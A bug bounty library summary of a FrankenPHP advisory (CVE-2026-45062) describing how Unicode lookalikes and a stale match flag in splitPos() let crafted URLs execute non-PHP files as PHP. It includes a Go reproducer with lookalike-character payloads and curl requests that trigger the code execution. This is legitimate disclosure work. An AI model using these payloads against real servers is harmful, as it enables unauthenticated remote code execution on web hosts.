# FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files

FrankenPHP's splitPos() misuses Unicode IgnoreCase search and a stale match flag, letting a crafted URL execute non-.php files as PHP, yielding RCE.

- Payout: Research
- Severity: high
- Program: FrankenPHP
- Found by: KC1zs4, chenjj
- Disclosed: 2026-05-15
- CVE: CVE-2026-45062
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-3g8v-8r37-cgjm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3g8v-8r37-cgjm
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:go tech:php technique:source-review technique:unicode-normalization vuln:file-upload vuln:path-traversal vuln:rce

**Target:** CGI path splitting in cgi.go (splitPos) of FrankenPHP web server
**Root cause:** splitPos() calls search.New(language.Und, search.IgnoreCase) to match ASCII-only lower-cased split entries against arbitrary paths; the fallback both leaves `match` true after a failed non-ASCII inner-loop break and folds Unicode lookalikes onto ASCII '.php'.
**Steps:**
1. Copy splitPos from cgi.go verbatim into a Go program with split := []string{".php"}.
2. Call splitPos on `/PoC-match-unset.¡.txt` — returns 20 instead of -1 (flaw 1 stale match).
3. Call splitPos on `/shell﹒php`, `/shell.ｐhp`, `/shell.ⓟⓗⓟ`, `/shell.𝗽𝗵𝗽` — all return a match offset (flaw 2 Unicode folding).
4. Deploy FrankenPHP with `:8080 { root * /app/public; php }` and place `poc-match-unset.¡.` and `poc-search-norm.𝗽𝗵𝗽` containing `<?php echo "marker=..."; ?>` in public/.
5. Request `curl --path-as-is "http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger"` and `curl --path-as-is "http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"`; both execute the file body as PHP.
**How found:** Code review of splitPos: noticed the inner loop breaks on non-ASCII bytes without clearing `match`, and that search.IgnoreCase does Unicode equivalence folding far beyond the ASCII-only guarantee of WithRequestSplitPath entries.
**Exploitation:** Attacker uploads or stores a file with PHP code under a name containing a non-ASCII byte after a dot (or a Unicode lookalike of .php), then requests a URL whose path triggers splitPos to report a .php match at that offset; SCRIPT_FILENAME points at the non-PHP file and PHP executes its contents, giving unauthenticated network RCE.
**Escalation:** Single crafted URL converts a file-write/upload primitive into arbitrary PHP code execution in the FrankenPHP process.
**Insight:** When a fast ASCII byte-comparison loop has a Unicode fallback, audit the control flow at the break and whether the fallback's matching semantics (case folding, compatibility decomposition) exceed the input's documented charset — lookalike code points like ﹒ ． ｐ ⓟ 𝗽 fold onto ASCII.

## Proof of concept (copied exactly from the original report)

**Go reproducer calling splitPos with Unicode payloads**

```
func main() {
	split := []string{".php"}
	payloads := []string{
		// flaw 1
		"/PoC-match-unset.txt",   // expected: -1
		"/PoC-match-unset.¡.txt", // expected: -1, actual: 20

		// flaw 2
		"/shell﹒php",          // ﹒ small full stop
		"/shell．php",          // ． fullwidth full stop
		"/shell.ｐhp",          // ｐ fullwidth p
		"/shell.pｈp",          // ｈ fullwidth h
		"/shell.ⓟⓗⓟ",                 // ⓟⓗⓟ circled
		"/shell.\U0001D5FD\U0001D5F5\U0001D5FD",     // 𝗽𝗵𝗽 mathematical sans-serif bold
		"/shell.\U0001D4C5\U0001D4BD\U0001D4C5",     // 𝓅𝒽𝓅 mathematical script
		"/shell.ⓟⓗⓟ.anything-after-payload.php",
	}
	for _, p := range payloads {
		fmt.Printf("%-50s : %d\n", p, splitPos(p, split))
	}
}
```

**curl requests triggering both flaws end-to-end**

```
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm/trigger"

# flaw 1 — runs poc-match-unset.¡. as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger"

# flaw 2 — runs poc-search-norm.𝗽𝗵𝗽 as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"
```

